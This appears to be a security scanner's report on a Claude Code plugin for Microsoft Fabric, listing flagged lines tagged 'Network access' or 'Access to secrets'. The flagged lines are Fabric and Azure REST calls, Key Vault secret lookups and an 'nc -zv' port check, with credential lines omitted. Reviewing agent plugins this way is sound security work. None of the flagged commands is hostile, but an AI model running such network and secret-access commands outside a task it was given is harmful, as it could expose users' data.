| `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the right-side table remains unchanged during the refresh cycle ([MS Learn](https://learn.microsoft.com/en-us/fabric/dat - Network accessline 38
| `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the right-side table remains unchanged during the refresh cycle ([MS Learn](https://learn.microsoft.com/en-us/fabric/dat
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/notebook-api-operations.md
- Network accessline 26
- Official schema (nbformat v4): https://github.com/jupyter/nbformat/blob/main/nbformat/v4/nbformat.v4.schema.json - Network accessline 26
- Official schema (nbformat v4): https://github.com/jupyter/nbformat/blob/main/nbformat/v4/nbformat.v4.schema.json - Network accessline 221
| 400 | Bad Request: invalid base64 | Malformed base64 or wrong encoding | Verify with `base64 --decode` before uploading; use standard Base64 (not URL-safe) | | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON str - Network accessline 221
| 400 | Bad Request: invalid base64 | Malformed base64 or wrong encoding | Verify with `base64 --decode` before uploading; use standard Base64 (not URL-safe) | | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON str - Network accessline 222
| 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON structure; ensure `nbformat`, `cells`, and `metadata` keys are present | | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--reso - Network accessline 222
| 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON structure; ensure `nbformat`, `cells`, and `metadata` keys are present | | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--reso - Network accessline 223
| 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--resource https://api.fabric.microsoft.com` is set | - Network accessline 223
| 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--resource https://api.fabric.microsoft.com` is set |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/consumption.md
- Network accessline 22
| Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — *READ link first* [needed for finding workspace id b - Network accessline 23
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control- - Network accessline 24
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/mlv.md
- Network accessline 83
| Job Scheduling | [COMMON-CLI.md § Job Scheduling](../../../common/COMMON-CLI.md#job-scheduling) | URL is `/jobs/{jobType}/schedules`; `endDateTime` required | | Job Execution | [COMMON-CLI.md § Job Execution](../../../common/COMMON-CLI.md - Network accessline 84
| Job Execution | [COMMON-CLI.md § Job Execution](../../../common/COMMON-CLI.md#job-execution) || | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control - Network accessline 85
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res - Network accessline 87
| Gotchas & Troubleshooting (CLI-Specific) | [COMMON-CLI.md § Gotchas & Troubleshooting (CLI-Specific)](../../../common/COMMON-CLI.md#gotchas--troubleshooting-cli-specific) | `az rest` audience, shell escaping, token expiry | | Quick Refere - Network accessline 89
| MLV Public API Reference | [MS Learn: Manage Fabric materialized lake views with public APIs](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api) | Official documentation f - Network accessline 127
**Base URL**: `https://api.fabric.microsoft.com/v1` - Network accessline 158
**See**: [MS Learn: MLV Background Jobs](https://learn.microsoft.com/en-us/rest/api/fabric/lakehouse/background-jobs/create-refresh-materialized-lake-views-schedule) - Network accessline 166
The [Preview REST scheduler](https://learn.microsoft.com/en-us/rest/api/fabric/lakehouse/background-jobs/create-refresh-materialized-lake-views-schedule#limitations) supports refresh schedules at lakehouse scope. A lakehouse can have at mos - Network accessline 366
Location: https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{lakehouseId}/jobs/instances/{jobInstanceId} - Network accessline 542
az rest --resource https://api.fabric.microsoft.com \ - Network accessline 543
--url "https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/lakehouses" \ - Network accessline 567
# See COMMON-CLI.md for authentication setup az rest --resource https://api.fabric.microsoft.com \ - Network accessline 568
az rest --resource https://api.fabric.microsoft.com \ - Network accessline 569
--url "https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/lakehouses/{lakehouseId}/jobs/refreshMaterializedLakeViews/instances" \ - Network accessline 588
Valid time zones: Windows time zone names (e.g., `"Central Standard Time"`, `"Pacific Standard Time"`, `"India Standard Time"`). Use the [Windows Default Time Zones](https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/def
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations.md
- Network accessline 32
| Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — *READ link first* [needed for finding workspace id b - Network accessline 33
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control- - Network accessline 34
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/automated-diagnostic-workflow.md
- Network accessline 107
https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related - Network accessline 228
### Links - **Notebook Snapshot**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related` - Network accessline 229
- **Notebook Snapshot**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related` - Network accessline 230
- **Spark Monitor**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}`
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/diagnostic-workflow.md
- Network accessline 96
Copies the full Spark event log from Fabric to a OneLake lakehouse via the [JobInsight API](jobinsight-api.md), downloads it locally, and starts the OSS Spark History Server on `http://localhost:18080` for the full Spark UI (DAG, task-level - Network accessline 109
2. Download event files from OneLake DFS to local disk 3. Start local Spark History Server — see [spark-history-server.md](spark-history-server.md) 4. Open browser to `http://localhost:18080` for the full Spark UI - Network accessline 111
4. Open browser to `http://localhost:18080` for the full Spark UI
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/jobinsight-api.md
- Network accessline 134
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 135
--url "https://api.fabric.microsoft.com/v1/workspaces/$workspaceId/items/$notebookId/jobs/RunNotebook/instances" \ - Network accessline 147
[Credential-related source omitted] - Network accessline 148
[Credential-related source omitted] - Network accessline 150
[Credential-related source omitted] - Network accessline 151
[Credential-related source omitted] - Network accessline 152
"https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId?resource=filesystem&recursive=true" \ - Network accessline 159
[Credential-related source omitted] - Network accessline 160
[Credential-related source omitted] - Network accessline 161
"https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/<filepath>" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/pipeline-diagnosis.md
- Network accessline 30
**API endpoint** ([docs](https://learn.microsoft.com/en-us/fabric/data-factory/pipeline-rest-api)): - Network accessline 41
# BROKEN: PowerShell treats & as call operator az rest --url "https://...?type=driver&fileName=stderr" - Network accessline 42
az rest --url "https://...?type=driver&fileName=stderr" - Network accessline 221
File "Cell In[14], line 19" raise Exception(f"Expected key '{key}' not found in URL: {url}") Exception: Expected key 'cluster_id' not found in URL: https://... - Network accessline 223
Exception: Expected key 'cluster_id' not found in URL: https://... - Network accessline 236
https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related - Network accessline 353
**Spark Jobs**: 13/13 SUCCEEDED — failure is in Python code, not Spark infrastructure **Pattern**: 31 iterations fail at the same cell with the same exception class; 5 succeed **Sample failing parameters**: `cluster_url=https://...`, `batch - Network accessline 354
**Pattern**: 31 iterations fail at the same cell with the same exception class; 5 succeed **Sample failing parameters**: `cluster_url=https://...`, `batch_key=...` **Root Cause**: Notebook business logic expects a key in the URL that is mis - Network accessline 355
**Sample failing parameters**: `cluster_url=https://...`, `batch_key=...`
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/spark-history-server.md
- Network accessline 116
[Credential-related source omitted] - Network accessline 117
[Credential-related source omitted] - Network accessline 119
[Credential-related source omitted] - Network accessline 120
[Credential-related source omitted] - Network accessline 121
"https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId?resource=filesystem&recursive=true" | jq '.paths[].name' - Network accessline 123
[Credential-related source omitted] - Network accessline 124
[Credential-related source omitted] - Network accessline 125
"https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId/<filename>" \ - Network accessline 146
Navigate to `http://localhost:18080`. The application should appear in the list. Click through to:
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldb-cli/references/consumption.md
- Network accessline 158
| `Login failed for user` | Wrong DB name or no access | Verify `-d` matches the REST `properties.databaseName` value (see COMMON-CLI.md "Discovering Connection Parameters via REST"), and that you have permission | | `Cannot open server` | - Network accessline 159
| `Cannot open server` | Wrong FQDN or network | Re-discover via REST API; check port 1433 | | `Login timeout expired` | Port 1433 blocked | `nc -zv <endpoint>.database.fabric.microsoft.com 1433`; check firewall/VPN | | `ActiveDirectoryDefa - Network accessline 160
| `Login timeout expired` | Port 1433 blocked | `nc -zv <endpoint>.database.fabric.microsoft.com 1433`; check firewall/VPN | - Network accessline 162
| Cross-database query fails | Using OLTP endpoint | Switch to SQL analytics endpoint for three-part naming | | Data appears stale in analytics endpoint | Mirroring replication lag | Wait for replication; check status via `sys.dm_change_fee - Network accessline 163
| Data appears stale in analytics endpoint | Mirroring replication lag | Wait for replication; check status via `sys.dm_change_feed_log_scan_sessions` | | Table missing from analytics endpoint | Table exceeds 1000-table mirror limit, or has - Network accessline 164
| Table missing from analytics endpoint | Table exceeds 1000-table mirror limit, or has unsupported PK type, or uses CCI/in-memory/Always Encrypted | Check `sys.dm_change_feed_errors`; see [mirroring limitations](https://learn.microsoft.com
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldb-cli/references/operations.md
- Network accessline 36
Use an already-installed `sqlcmd` first and make at most one connection attempt with it. If it is absent or its Entra authentication mode fails, do not install or upgrade tooling during the investigation. When the current PowerShell runtime
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring.md
- Network accessline 88
> 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use - Network accessline 89
> 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. See [mcp-setup/](../../../mcp-setup/). > - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` > - **Item-scoped - Network accessline 90
> - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` - Network accessline 91
> - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint` - Network accessline 151
> **`MERGE` and `ALTER COLUMN` are NOT hard errors.** Per [T-SQL surface area](https://learn.microsoft.com/en-us/fabric/data-warehouse/tsql-surface-area), `MERGE` is a **generally available** Warehouse feature and `ALTER TABLE ... ALTER COL - Network accessline 181
# 1. Find workspace ID by name (capture into WS_ID for the next call) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 182
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 183
--resource "https://api.fabric.microsoft.com" \ - Network accessline 184
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 188
# 2. Find warehouse item ID by name az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 189
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 190
--resource "https://api.fabric.microsoft.com" \ - Network accessline 191
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \ - Network accessline 194
# For a Lakehouse SQL endpoint, pass its SQL analytics endpoint id — NOT the lakehouse item id az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 195
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 196
--resource "https://api.fabric.microsoft.com" \ - Network accessline 197
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring/authoring-cli-quickref.md
- Network accessline 92
fabric-sqlendpoint-execute_query(workspaceId, itemId, "COPY INTO dbo.FactSales FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 93
"COPY INTO dbo.FactSales FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET')") - Network accessline 94
FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 98
fabric-sqlendpoint-execute_query(workspaceId, itemId, "COPY INTO dbo.FactSales FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv' - Network accessline 99
"COPY INTO dbo.FactSales FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv' WITH (FILE_TYPE = 'CSV', FIRSTROW = 2, FIELDTERMINATOR = ',', ROWTERMINATOR = '\n')") - Network accessline 100
FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv' - Network accessline 105
"CREATE TABLE dbo.CleanData AS SELECT id, UPPER(country) AS Country, CAST(amount AS decimal(19,4)) AS Amount FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw - Network accessline 106
SELECT id, UPPER(country) AS Country, CAST(amount AS decimal(19,4)) AS Amount FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw WHERE amount > 0") - Network accessline 107
FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring/authoring-script-templates.md
- Network accessline 9
**Placeholders:** The storage URLs (`https://storageacct.dfs.core.windows.net/...`), dates - Network accessline 23
fabric-sqlendpoint-execute_query(workspaceId, itemId, "COPY INTO dbo.StagingData FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 24
"COPY INTO dbo.StagingData FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET')") - Network accessline 25
FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 44
fabric-sqlendpoint-execute_query(workspaceId, itemId, "COPY INTO dbo.Staging_RawSales FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet' - Network accessline 45
"COPY INTO dbo.Staging_RawSales FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet' WITH (FILE_TYPE = 'PARQUET')") - Network accessline 46
FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet'
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/consumption.md
- Network accessline 77
> 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use - Network accessline 78
> 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. See [mcp-setup/](../../../mcp-setup/) for registration instructions. > - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sql - Network accessline 79
> - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` - Network accessline 80
> - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint` - Network accessline 130
# 1. Find workspace ID by name (capture into WS_ID for the next calls) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 131
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 132
--resource "https://api.fabric.microsoft.com" \ - Network accessline 133
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 137
# 2. Find warehouse item ID by name az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 138
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 139
--resource "https://api.fabric.microsoft.com" \ - Network accessline 140
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \ - Network accessline 142
# For a Lakehouse, pass its SQL analytics endpoint id — NOT the lakehouse item id az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 143
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 144
--resource "https://api.fabric.microsoft.com" \ - Network accessline 145
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 237
| Symptom | Cause | Fix | |---|---|---| | MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config | - Network accessline 238
|---|---|---| | MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config | | HTTP 401 / Unauthorized | Auth token expired or invalid | Re-authenticate - Network accessline 239
| MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/consumption/script-templates.md
- Network accessline 111
# Find workspace ID (capture into WS_ID for the next call) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 112
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 113
--resource "https://api.fabric.microsoft.com" \ - Network accessline 114
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 118
# Find warehouse ID az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/operations.md
- Network accessline 75
> 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use - Network accessline 76
> 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. > - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` > - **Item-scoped URL**: `https://api.fabric.microsoft.c - Network accessline 77
> - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` - Network accessline 78
> - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint` - Network accessline 110
# 1. Find workspace ID by name (capture into WS_ID for the next call) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 111
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 112
--resource "https://api.fabric.microsoft.com" \ - Network accessline 113
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 117
# 2. Find warehouse item ID by name az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 118
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 119
--resource "https://api.fabric.microsoft.com" \ - Network accessline 120
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \ - Network accessline 152
- CPU > 5,000,000 ms → review query logic - Elapsed > 300,000 ms → check joins, filters, statistics - Reference: [Performance guidelines](https://learn.microsoft.com/fabric/data-warehouse/guidelines-warehouse-performance) - Network accessline 154
- Reference: [Performance guidelines](https://learn.microsoft.com/fabric/data-warehouse/guidelines-warehouse-performance) - Network accessline 280
For comprehensive Fabric DW best practices, see [SQLDW-CONSUMPTION-CORE.md § Performance: Best Practices and Troubleshooting](../../../common/SQLDW-CONSUMPTION-CORE.md#performance-best-practices-and-troubleshooting) and the [Fabric guidelin
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/SKILL.md
- Network accessline 95
| Target | Token Audience | |---|---| | Synapse ARM (management plane) | `https://management.azure.com` | - Network accessline 96
|---|---| | Synapse ARM (management plane) | `https://management.azure.com` | | Synapse Data Plane | `https://dev.azuresynapse.net` | - Network accessline 97
| Synapse ARM (management plane) | `https://management.azure.com` | - Network accessline 98
| Synapse Data Plane | `https://dev.azuresynapse.net` | - Network accessline 99
| Fabric REST API | `https://api.fabric.microsoft.com` | - Network accessline 124
| Target | Token Audience | |---|---| | Synapse ARM | `https://management.azure.com` | - Network accessline 125
|---|---| | Synapse ARM | `https://management.azure.com` | | Synapse Data Plane | `https://dev.azuresynapse.net` | - Network accessline 126
| Synapse ARM | `https://management.azure.com` | - Network accessline 127
| Synapse Data Plane | `https://dev.azuresynapse.net` | - Network accessline 128
| Fabric REST API | `https://api.fabric.microsoft.com` | - Network accessline 130
> **API docs**: [Synapse ARM](https://learn.microsoft.com/en-us/rest/api/synapse) · [Synapse Data Plane](https://learn.microsoft.com/en-us/rest/api/synapse/data-plane) · [Fabric Items](https://learn.microsoft.com/en-us/rest/api/fabric/core/ - Network accessline 225
# Fabric conn = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "my-secret") - Network accessline 226
conn = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "my-secret")
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/code-patterns.md
- Network accessline 70
[Credential-related source omitted] - Network accessline 71
[Credential-related source omitted] - Network accessline 72
"https://mykeyvault.vault.azure.net/", - Network accessline 76
[Credential-related source omitted] - Network accessline 163
-- AFTER — Fabric Warehouse: COPY INTO from OneLake COPY INTO dbo.FactOrders FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/' - Network accessline 164
COPY INTO dbo.FactOrders FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/' WITH ( - Network accessline 165
FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/'
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/connectivity-migration.md
- Network accessline 38
[Credential-related source omitted] - Network accessline 40
[Credential-related source omitted] - Network accessline 42
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items/${LAKEHOUSE_ID}/shortcuts" \ - Network accessline 43
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items/${LAKEHOUSE_ID}/shortcuts" \ - Network accessline 108
[Credential-related source omitted] - Network accessline 109
[Credential-related source omitted] - Network accessline 110
"https://mykeyvault.vault.azure.net/",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/connector-refactoring.md
- Network accessline 18
.format("com.microsoft.kusto.spark.synapse.datasource") .option("spark.synapse.linkedService", "AzureDataExplorer1") .option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 19
.option("spark.synapse.linkedService", "AzureDataExplorer1") .option("kustoCluster", "https://mycluster.kusto.windows.net") .option("kustoDatabase", "mydb") - Network accessline 20
.option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 26
kustoDF = (spark.read .format("com.microsoft.kusto.spark.synapse.datasource") .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) - Network accessline 27
.format("com.microsoft.kusto.spark.synapse.datasource") .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) .option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 28
.option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) - Network accessline 29
.option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 40
.format("com.microsoft.kusto.spark.synapse.datasource") .option("spark.synapse.linkedService", "AzureDataExplorer1") .option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 41
.option("spark.synapse.linkedService", "AzureDataExplorer1") .option("kustoCluster", "https://mycluster.kusto.windows.net") .option("kustoDatabase", "mydb") - Network accessline 42
.option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 50
(df.write .format("com.microsoft.kusto.spark.synapse.datasource") .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) - Network accessline 51
.format("com.microsoft.kusto.spark.synapse.datasource") .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) .option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 52
.option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net")) - Network accessline 53
.option("kustoCluster", "https://mycluster.kusto.windows.net") - Network accessline 83
# ✅ AFTER — Fabric: Cosmos DB via Key Vault secret cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 84
cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" ) - Network accessline 85
"https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 88
cosmosDF = (spark.read .format("cosmos.oltp") .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") - Network accessline 89
.format("cosmos.oltp") .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") .option("spark.cosmos.accountKey", cosmos_key) - Network accessline 90
.option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") - Network accessline 110
# ✅ AFTER — Fabric cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 111
cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" ) - Network accessline 112
"https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 115
(df.write .format("cosmos.oltp") .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") - Network accessline 116
.format("cosmos.oltp") .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") .option("spark.cosmos.accountKey", cosmos_key) - Network accessline 117
.option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") - Network accessline 148
# ✅ AFTER — Fabric: Spark config with direct credentials cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 149
cosmos_key = notebookutils.credentials.getSecret( "https://mykeyvault.vault.azure.net/", "cosmos-account-key" ) - Network accessline 150
"https://mykeyvault.vault.azure.net/", "cosmos-account-key" - Network accessline 151
) spark.conf.set("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") spark.conf.set("spark.cosmos.accountKey", cosmos_key) - Network accessline 152
spark.conf.set("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") - Network accessline 180
# ✅ AFTER — Fabric: OAuth via standard ClientCredsTokenProvider storage_account = "mystorageaccount" client_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") - Network accessline 181
[Credential-related source omitted] - Network accessline 182
client_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") - Network accessline 183
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Network accessline 184
